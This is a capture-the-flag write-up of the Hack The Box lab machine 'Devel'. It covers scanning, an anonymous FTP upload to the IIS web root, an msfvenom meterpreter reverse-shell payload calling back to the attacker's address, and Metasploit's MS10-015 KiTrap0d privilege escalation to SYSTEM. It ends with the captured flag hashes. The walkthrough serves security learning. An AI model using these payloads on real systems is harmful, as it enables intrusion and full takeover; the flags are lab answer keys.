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HTB Machine Deval May 2025
Scanning
Rustscan
- Ports Scan using rustscan

_______________________________________ http://discord.skerritt.blog : https://github.com/RustScan/RustScan :--------------------------------------Scanning ports faster than you can say 'SYN ACK'~] The config file is expected to be at "/home/kali/.rustscan.toml"~] File limit higher than batch size. Can increase speed by increasing batch size '-b 924'.
open 10.10.10.5:21open 10.10.10.5:80Nmap
nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5# Nmap 7.94SVN scan initiated Fri May 16 01:17:17 2025 as: nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5Nmap scan report for 10.10.10.5 (10.10.10.5)Host is up (0.16s latency).
PORT STATE SERVICE VERSION21/tcp open ftp Microsoft ftpd| ftp-syst:|_ SYST: Windows_NT| ftp-anon: Anonymous FTP login allowed (FTP code 230)| 03-18-17 02:06AM <DIR> aspnet_client| 03-17-17 05:37PM 689 iisstart.htm|_03-17-17 05:37PM 184946 welcome.png80/tcp open http Microsoft IIS httpd 7.5|_http-title: IIS7| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/7.5Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Fri May 16 01:17:37 2025 -- 1 IP address (1 host up) scanned in 20.13 seconds- Based on the scan results, only IIS Web Server and FTP services are running on the target, with no other open ports detected.
- The target is running Windows with Microsoft IIS 7.5 web server.
- FTP is running on port 21 with anonymous login enabled.
- HTTP is running on port 80 serving a default IIS 7.5 page.
Enumeration
- FTP is accessible using simple credentials:
user:anonymousandpassword:<blank>login.

- Downloaded all available files using the following commands to analyze their contents:
wget -r -l 10 --ftp-user='anonymous' --ftp-password='' ftp://10.10.10.5/aspnet_client/*
wget -r -l 10 --ftp-user='anonymous' --ftp-password='' ftp://10.10.10.5/iisstart.htm
wget -r -l 10 --ftp-user='anonymous' --ftp-password='' ftp://10.10.10.5/welcome.png- Initial analysis revealed no immediately useful information from these files.
- Performed directory brute forcing with multiple tools and wordlists:
# Used multiple wordlists for thorough enumerationhttps://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/Web-Servers/IIS.txt
/usr/share/dirb/wordlists/common.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt- Directory brute forcing yielded no additional interesting directories or files.
- Critical discovery: FTP upload directory appears to be the same as the web root directory. This means files uploaded via FTP would be accessible through the web server.
- This configuration presents a significant vulnerability as we can upload an ASP.NET web shell through FTP and then execute it via the web server.
Exploitation



- Successfully confirmed access via basic web shell.
- For improved post-exploitation capabilities, generated a Meterpreter shell using:
Metasploit Stuff
msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=10.10.16.10 LPORT=1337 \ -f aspx \ -o msf_shell.aspx- Transferred the payload to the victim machine via FTP.
- Set up a Metasploit handler to receive the incoming connection.
- Triggered the payload by accessing it through the web server.


Post Exploitation
Again Metasploit Stuff
- Used the exploit suggester module to identify potential privilege escalation vectors:
use post/multi/recon/local_exploit_suggesterset SESSION 1run
- Selected the MS10-015 (KiTrap0d) privilege escalation exploit:

use exploit/windows/local/ms10_015_kitrap0dset SESSION 1set lhost 10.10.16.10run-
MS10-015 (KiTrap0d) Vulnerability Background: MS10-015/CVE-2010-0232 exploits a kernel vulnerability in Windowsβ Virtual DOS Machine subsystem that improperly handles 16-bit system calls, allowing manipulation of kernel-mode memory. The flaw exists in win32k.sys where the kernel mishandles exceptions during system call processing, enabling attackers to execute arbitrary code with SYSTEM privileges by triggering a controlled exception that corrupts kernel stack pointers. This vulnerability affects multiple Windows versions including Windows 7, which explains its effectiveness on the Devel machine.

- Successfully escalated privileges to NT AUTHORITY\SYSTEM, giving complete control over the target system.

- Located and retrieved both user and root flags:

- User Flag:
d356b7b47e9b90cfd11c33d16bcc30d8- Root Flag:
1db38188c79211dbcbf76001749afe01 HTB Machine Deval May 2025
https://fuwari.vercel.app/posts/htb-machine-devel/htb_machine_devel/